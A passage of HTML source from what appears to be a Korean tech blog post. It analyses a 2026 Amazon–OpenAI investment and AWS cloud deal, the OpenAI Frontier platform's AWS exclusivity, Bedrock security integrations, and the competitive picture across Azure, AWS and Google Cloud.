&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;규모&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;Amazon의 OpenAI 투자&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;50억 달러&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;15억 선행 + 35억 조건부&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;OpenAI 전체 펀딩 라운드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;1,100억 달러 (출처: &lt;a href=&quot;https://www.geekwire.com/2026/amazon-invests-50b-in-openai-deepens-aws-partnership-with-expanded-100b-cloud-deal/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekWire&lt;/a&gt;)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;SoftBank, NVIDIA 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;OpenAI 기업가치 (pre-money)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;7,300억 달러 (출처: &lt;a href=&quot;https://www.geekwire.com/2026/amazon-invests-50b-in-openai-deepens-aws-partnership-with-expanded-100b-cloud-deal/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekWire&lt;/a&gt;)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;2026년 4월 기준&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;AWS 클라우드 계약 확장&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;기존 380억 + 추가 1,000억&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;8년간 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;Trainium 사용 약정&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;2기가와트 용량&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;AWS 자체 AI 칩&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;(출처: &lt;a href=&quot;https://www.geekwire.com/2026/amazon-invests-50b-in-openai-deepens-aws-partnership-with-expanded-100b-cloud-deal/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekWire&lt;/a&gt;, 2026-04-28 기준)&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;애널리스트 추산에 따르면 총 클라우드 계약(기존 380억 + 추가 1,000억 달러)을 8년으로 나누면 연 약 170억 달러 규모다. 이는 AWS의 2026년 예상 매출의 약 11%에 해당한다. (출처: &lt;a href=&quot;https://www.geekwire.com/2026/amazon-invests-50b-in-openai-deepens-aws-partnership-with-expanded-100b-cloud-deal/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekWire&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;Trainium이란?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Trainium은 Amazon이 자체 개발한 AI 학습&amp;middot;추론 전용 칩이다. OpenAI가 AWS 계약에서 2기가와트 용량의 Trainium 사용을 약정했다는 것은 OpenAI 모델 훈련 및 서빙 인프라의 일부가 AWS 하드웨어 위에서 실행된다는 의미다. NVIDIA 의존도를 낮추려는 양사의 공통 이해관계가 맞물린 결과이기도 하다.&lt;/div&gt;
&lt;!-- 섹션 7 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section7&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. OpenAI Frontier &amp;mdash; AWS 독점 엔터프라이즈 플랫폼&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;!-- [S:https://www.geekwire.com/2026/amazon-invests-50b-in-openai-deepens-aws-partnership-with-expanded-100b-cloud-deal/] --&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1990&quot; data-origin-height=&quot;1036&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buz6vO/dJMcabKTUvK/Rn06mkZ586Ydx5vRdU80yk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buz6vO/dJMcabKTUvK/Rn06mkZ586Ydx5vRdU80yk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buz6vO/dJMcabKTUvK/Rn06mkZ586Ydx5vRdU80yk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbuz6vO%2FdJMcabKTUvK%2FRn06mkZ586Ydx5vRdU80yk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1990&quot; height=&quot;1036&quot; data-origin-width=&quot;1990&quot; data-origin-height=&quot;1036&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;이번 발표에서 가장 전략적 의미가 큰 항목은 &lt;b&gt;OpenAI Frontier&lt;/b&gt;다. 개별 모델 API 접근이 아닌, AI 에이전트 팀을 구축하고 관리하는 &lt;b&gt;엔터프라이즈 플랫폼&lt;/b&gt;이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #dc3545; margin: 20px 0;&quot;&gt;&lt;b&gt;핵심: AWS = OpenAI Frontier의 독점 외부 클라우드 배포처&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;AWS가 &lt;b&gt;exclusive third-party cloud distribution provider&lt;/b&gt;로 지정됐다. OpenAI가 직접 판매하는 것 외에, 외부 클라우드를 통해 Frontier를 도입하려면 AWS를 통해야 한다는 의미다. Azure나 Google Cloud에서는 Frontier를 쓸 수 없다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OpenAI Frontier란 무엇인가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenAI Frontier는 AI 에이전트 팀을 만들고 관리하는 플랫폼이다. 공개된 정보 기준 특징:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 20px 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공유 컨텍스트(shared context)를 가진 AI 에이전트 팀 구성&lt;/li&gt;
&lt;li&gt;거버넌스 및 보안 제어 내장&lt;/li&gt;
&lt;li&gt;여러 에이전트 간 협업 워크플로우 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Stateful Runtime Environment&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS와 OpenAI는 &lt;b&gt;Stateful Runtime Environment&lt;/b&gt;를 공동 개발한다. OpenAI 모델로 구동되며 Amazon Bedrock을 통해 제공되는 이 환경은 고객이 AI 애플리케이션과 에이전트를 &quot;프로덕션 스케일&quot;로 구축할 수 있는 기반이 된다. (출처: &lt;a href=&quot;https://www.geekwire.com/2026/amazon-invests-50b-in-openai-deepens-aws-partnership-with-expanded-100b-cloud-deal/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekWire&lt;/a&gt;)&lt;/p&gt;
&lt;!-- 섹션 8 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section8&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 기술 통합 &amp;mdash; IAM, PrivateLink, Trainium, AgentCore&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;!-- [S:https://aws.amazon.com/about-aws/whats-new/2026/04/bedrock-openai-models-codex-managed-agents/] --&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3bjtj/dJMcafGvrkp/PQCO3ZEZhygukywIVvbsr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3bjtj/dJMcafGvrkp/PQCO3ZEZhygukywIVvbsr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3bjtj/dJMcafGvrkp/PQCO3ZEZhygukywIVvbsr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3bjtj%2FdJMcafGvrkp%2FPQCO3ZEZhygukywIVvbsr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2022&quot; height=&quot;1102&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;AWS 환경에서 OpenAI 제품을 쓸 때 적용되는 보안&amp;middot;인프라 통합 요소를 정리한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;AWS 서비스/기능&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;적용 대상&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;IAM&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;인증&amp;middot;권한 관리 &amp;mdash; 기존 AWS 계정으로 OpenAI 호출&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;모든 제품&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;AWS PrivateLink&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;퍼블릭 인터넷 우회, VPC 내 프라이빗 연결&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;보안 민감 환경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;암호화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;전송 중&amp;middot;저장 중 데이터 암호화&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;모든 제품&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;CloudTrail&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;API 호출 감사 로그 &amp;mdash; 규제 요구사항 충족&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;모든 제품&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;Bedrock Guardrails&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;콘텐츠 필터링, 안전 가드레일&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;모든 제품&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;Bedrock AgentCore&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;Managed Agents의 기본 컴퓨팅 환경&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;Bedrock Managed Agents&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;Trainium&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;OpenAI 모델 학습&amp;middot;서빙용 AWS 자체 AI 칩&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;인프라 레이어&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;(출처: &lt;a href=&quot;https://aws.amazon.com/about-aws/whats-new/2026/04/bedrock-openai-models-codex-managed-agents/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AWS What's New&lt;/a&gt;, 2026-04-28)&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 통합의 실질적 의미는 OpenAI 제품이 AWS의 &lt;b&gt;컴플라이언스 경계 안으로 들어온다&lt;/b&gt;는 것이다. HIPAA, SOC 2, FedRAMP 등 AWS가 인증받은 규제 프레임워크를 OpenAI 호출에도 동일하게 적용할 수 있다. 이는 의료&amp;middot;금융&amp;middot;공공 부문에서 OpenAI 도입 장벽을 크게 낮춘다.&lt;/p&gt;
&lt;!-- 섹션 9 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section9&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 개발자&amp;middot;기업에게 지금 당장 의미하는 것&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 발표를 접한 개발자와 기업의 입장에 따라 의미가 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;AWS 메인 스택으로 이미 운영 중인 팀&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #28a745; margin: 20px 0;&quot;&gt;가장 직접적인 수혜자다. 기존 IAM 크레덴셜, 보안 검토 프로세스, AWS 청구 계정을 그대로 쓰면서 GPT-5.5를 호출한다. 별도 OpenAI API 키 관리, 별도 컴플라이언스 승인이 필요 없다. Codex CLI를 AWS 크레덴셜로 인증하는 방식은 &lt;a href=&quot;https://dev.to/aws-builders/use-openai-codex-cli-with-amazon-bedrock-models-pay-as-you-go-48eb&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AWS Builders 블로그&lt;/a&gt;에서 상세히 다룬다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Azure 기반으로 OpenAI를 쓰던 팀&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉각적인 전환 필요성은 없다. Azure OpenAI Service는 계속 운영되고, Microsoft는 2032년까지 비독점 라이선스를 유지한다. 다만 향후 멀티클라우드 전략을 검토하거나 AWS 워크로드와 OpenAI를 더 긴밀하게 통합하고 싶은 팀이라면 Limited Preview 신청을 고려할 시점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;규제 산업(금융&amp;middot;의료&amp;middot;공공) 팀&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS의 기존 컴플라이언스 인증이 OpenAI 제품에 그대로 적용되는 구조는 이 업종에서 의미가 크다. 이전에는 &quot;OpenAI가 우리 규제 요구사항을 충족하는가&quot;를 별도로 검토해야 했다. Bedrock을 통하면 &quot;AWS가 해당 인증을 보유하고 있는가&quot;로 질문이 단순화된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;에이전트 시스템을 구축하는 팀&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Bedrock Managed Agents는 아직 Limited Preview다. 지금 당장 프로덕션 에이전트를 올릴 수 있는 상태는 아니다. 그러나 설계 단계라면 AWS 환경에서 OpenAI 기반 에이전트를 만들 때 Bedrock Managed Agents + AgentCore 조합을 아키텍처에 포함시킬 수 있다.&lt;/p&gt;
&lt;!-- 섹션 10 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section10&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 경쟁 구도 변화 &amp;mdash; Azure vs AWS vs Google&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2034&quot; data-origin-height=&quot;1104&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBQKA4/dJMcai4dTeQ/hIfBNsRCby35a4PYza67u1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBQKA4/dJMcai4dTeQ/hIfBNsRCby35a4PYza67u1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBQKA4/dJMcai4dTeQ/hIfBNsRCby35a4PYza67u1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBQKA4%2FdJMcai4dTeQ%2FhIfBNsRCby35a4PYza67u1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2034&quot; height=&quot;1104&quot; data-origin-width=&quot;2034&quot; data-origin-height=&quot;1104&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;이번 발표로 클라우드 AI 경쟁 구도는 명확하게 재편됐다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;Microsoft Azure&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;Amazon AWS&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;Google Cloud&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;OpenAI 모델 접근&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;Azure OpenAI Service (비독점, 2032년까지)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;Bedrock (Limited Preview &amp;rarr; GA)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;미지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;OpenAI 엔터프라이즈 플랫폼(Frontier)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;독점 배포&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;미지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;자체 AI 모델&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;Phi 시리즈&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;Amazon Nova&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;Gemini&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;Anthropic Claude&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;Bedrock (주요 모델)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;Vertex AI (주요 모델)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;OpenAI에 대한 투자&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;기존 대규모 투자 (비공개)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;&lt;b&gt;50억 달러&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;미투자&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: Azure는 OpenAI의 원조 파트너로서 안정적 접근권을 유지하지만, AWS는 엔터프라이즈 에이전트 플랫폼(Frontier)의 독점 외부 배포처로 더 깊은 통합 위치를 확보했다. Google Cloud는 OpenAI 라인업에서 완전히 배제됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 구도의 함의는 중장기적이다. 기업이 AI 에이전트 인프라를 구축할 때 OpenAI 기반 스택을 선택하면 AWS 환경이 자연스러운 선택지가 된다. OpenAI 없이 자체 모델 생태계를 구축하는 Google은 Gemini 모델의 경쟁력으로 독자 노선을 걸어야 한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;Anthropic 입장에서 보면&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;같은 달(2026년 4월), Anthropic도 Amazon으로부터 50억 달러를 추가로 받고 100억 달러 클라우드 지출을 약정했다. (출처: &lt;a href=&quot;https://techcrunch.com/2026/04/20/anthropic-takes-5b-from-amazon-and-pledges-100b-in-cloud-spending-in-return/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechCrunch&lt;/a&gt;) AWS는 한 달 안에 두 개의 주요 AI 모델 공급사(OpenAI&amp;middot;Anthropic)와 각각 대규모 딜을 체결했다. AWS의 &quot;AI 모델 멀티호밍&quot; 전략이 본격화됐다.&lt;/div&gt;
&lt;!-- 섹션 11 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section11&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 현황 및 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;1104&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FKbLX/dJMcafT2uBD/QYDT8joPVbkaez8IAETY41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FKbLX/dJMcafT2uBD/QYDT8joPVbkaez8IAETY41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FKbLX/dJMcafT2uBD/QYDT8joPVbkaez8IAETY41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFKbLX%2FdJMcafT2uBD%2FQYDT8joPVbkaez8IAETY41%2Fimg.png&quot; onerror=&quot;this.onerror=null; 